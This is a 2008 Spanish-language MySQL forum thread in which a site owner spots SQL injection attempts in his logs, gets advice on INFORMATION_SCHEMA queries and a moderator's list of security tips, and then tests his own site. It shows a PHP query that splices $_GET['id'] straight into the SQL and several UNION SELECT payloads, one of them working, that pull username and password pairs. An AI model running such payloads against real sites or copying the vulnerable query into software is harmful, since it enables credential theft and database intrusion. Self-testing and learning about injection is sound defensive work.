Foros del Web » Programación para mayores de 30 ;) » Bases de Datos General » Mysql »

listar nombres de tablas y nombre de campos de las tablas...

Estas en el tema de listar nombres de tablas y nombre de campos de las tablas... en el foro de Mysql en Foros del Web. existe algun comando de mysql para que traiga los nombres de las tablas o nombres de los campos de una tabla... algo similar al getrows(); ...
  #1 (permalink)  
Antiguo 02/05/2008, 13:03
Avatar de farra  
Fecha de Ingreso: marzo-2008
Ubicación: Aqui estoy
Mensajes: 574
Antigüedad: 16 años, 1 mes
Puntos: 20
listar nombres de tablas y nombre de campos de las tablas...

existe algun comando de mysql para que traiga los nombres de las tablas o nombres de los campos de una tabla... algo similar al getrows(); de php.. ?
  #2 (permalink)  
Antiguo 02/05/2008, 13:24
Avatar de farra  
Fecha de Ingreso: marzo-2008
Ubicación: Aqui estoy
Mensajes: 574
Antigüedad: 16 años, 1 mes
Puntos: 20
Pregunta Re: listar nombres de tablas y nombre de campos de las tablas...

yo grabo todas las consultas que se hacen en una pagina que tengo, y las almaceno en una tabla para llevar una estadistica...


pero el otro dia me tope con varias consultas raras en mis estadisticas:

Código HTML:
www.mipagina.com/setctor.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(user,0x3a,pass),null,5,6/**/FROM/**/users/*
enceguida me di cuenta que trataron de hacerme una inyeccion sql... pero al parecer no lograron hacerlo por que mi tabla no se llama users y mis nombres de campo no son user y pass.. y tambien probaron con otros nombres que no son...

ahora, pregunto:

tienen alguna forma de saber mis nombres de tablas o campos por algun comando? cual es el comando?

o su unica alternativa seria probar y tratar de adivinar por los nombres de los campos en los formularios?
  #3 (permalink)  
Antiguo 02/05/2008, 15:13
Avatar de farra  
Fecha de Ingreso: marzo-2008
Ubicación: Aqui estoy
Mensajes: 574
Antigüedad: 16 años, 1 mes
Puntos: 20
Re: listar nombres de tablas y nombre de campos de las tablas...

osea que si la persona no conoce mi estructura de datos podria hacer algo asi:


Código:
www.mipagina.com/pagina.php?id=-1/**/UNION/**/ALL/**/SHOW TABLES/**/SELECT/**/1,2,concat(user,0x3a,pass),null,5,6/**/FROM/**/users/*
?
  #4 (permalink)  
Antiguo 02/05/2008, 15:21
 
Fecha de Ingreso: marzo-2008
Mensajes: 303
Antigüedad: 16 años, 1 mes
Puntos: 4
Re: listar nombres de tablas y nombre de campos de las tablas...

No estoy seguro si funciona en MySql, pero en Oracle para ver los nombres de tablas parecidas a un string determinado:

select tname from tab where tname like '%...%;

O para ver todas:

select tname from tab;

Última edición por a2a2; 02/05/2008 a las 16:24 Razón: errata
  #5 (permalink)  
Antiguo 02/05/2008, 15:53
Colaborador
 
Fecha de Ingreso: marzo-2008
Ubicación: Cáceres
Mensajes: 3.735
Antigüedad: 16 años, 1 mes
Puntos: 300
Re: listar nombres de tablas y nombre de campos de las tablas...

En MySQL existen varias formas de conseguir el nombre de los campos y las tablas desde la base de datos. Esta es una

Para las tablas
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema = 'nombrebase'

Para los campos
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'nombretabla'
AND table_schema = 'nombrebase'
  #6 (permalink)  
Antiguo 03/05/2008, 22:10
Avatar de gnzsoloyo
Moderador criollo
 
Fecha de Ingreso: noviembre-2007
Ubicación: Actualmente en Buenos Aires (el enemigo ancestral)
Mensajes: 23.324
Antigüedad: 16 años, 5 meses
Puntos: 2658
Re: listar nombres de tablas y nombre de campos de las tablas...

Tips de seguridad:
1. No utilices creación dinámica de sentencias. Son vulnerables.
2. Verifica que no queden abiertas las conexiones de clase superusuario más tiempo del necesario.
3. Trabaja las consultas, actualizaciones y eliminaciones por medio de procedimientos almacenados.
4. Haz que los superusuarios sean inaccesibles desde web, o al menos que deban hacer doble certificación (contra base y contra server).
5. Restringe los permisos de los usuarios de web. La registración debe hacerse contra casilla e-mail de tipo pop3, previa respuesta del usuario al mensaje de registración.
6. Encripta todos los nombres de tablas y los contenido de las tablas críticas. Puede consumir ciclos de microprocesador, pero tendrás mejor nivel de traceo.
7. Genera un registro de transacciones realizadas a la base.
8. Genera un diario de sesiones con la IP de los conectados, tiempo de conexión y usuario utilizado.
9. Restringe la IP desde donde se pueda conectar el usuario. Cada usuario desde una sola máquina.
10. Implementa SSL apenas puedas.
__________________
¿A quién le enseñan sus aciertos?, si yo aprendo de mis errores constantemente...
"El problema es la interfase silla-teclado." (Gillermo Luque)
  #7 (permalink)  
Antiguo 06/05/2008, 07:31
Avatar de farra  
Fecha de Ingreso: marzo-2008
Ubicación: Aqui estoy
Mensajes: 574
Antigüedad: 16 años, 1 mes
Puntos: 20
Pregunta Re: listar nombres de tablas y nombre de campos de las tablas...

estoy tratando de autohakearme para comprender mejor como funcionan las inyecciones sql... y asi poder evitar que me las hagan...

esta es mi consulta:

Código PHP:

$query_algo 
"SELECT Idagencia, Agencia, Direccion, Telefono FROM agencias WHERE Idagencia = ".$_GET['id']."  order by Agencia ASC"
como ven es vulnerable a inyecciones sql....

bue.. entonces loq ue hago es:

Código:
www.mipagina.com/testinyeccion.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(Idusuario,0x3a,password),null,null,3,4/**/FROM/**/usuarios/*----
pero no me trae todos los datos... me tira el siguiente error:

Código:
The used SELECT statements have a different number of columns
eso quiere decir que no coinciden los numeros de columnas... pero como endria que modificar el codigo sql inyectado para que coincida?
  #8 (permalink)  
Antiguo 06/05/2008, 09:35
Avatar de farra  
Fecha de Ingreso: marzo-2008
Ubicación: Aqui estoy
Mensajes: 574
Antigüedad: 16 años, 1 mes
Puntos: 20
Re: listar nombres de tablas y nombre de campos de las tablas...

Al fin lo logre!!!! me auto-hackee..

codigo:

-1/**/UNION/**/ALL/**/SELECT/**/concat(usuario,0x3a,password),null,3,4/**/FROM/**/usuarios/*----


Gracias a2a2, jurena y gnzsoloyo por los aportes!
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta

SíEste tema le ha gustado a 2 personas




La zona horaria es GMT -6. Ahora son las 16:21.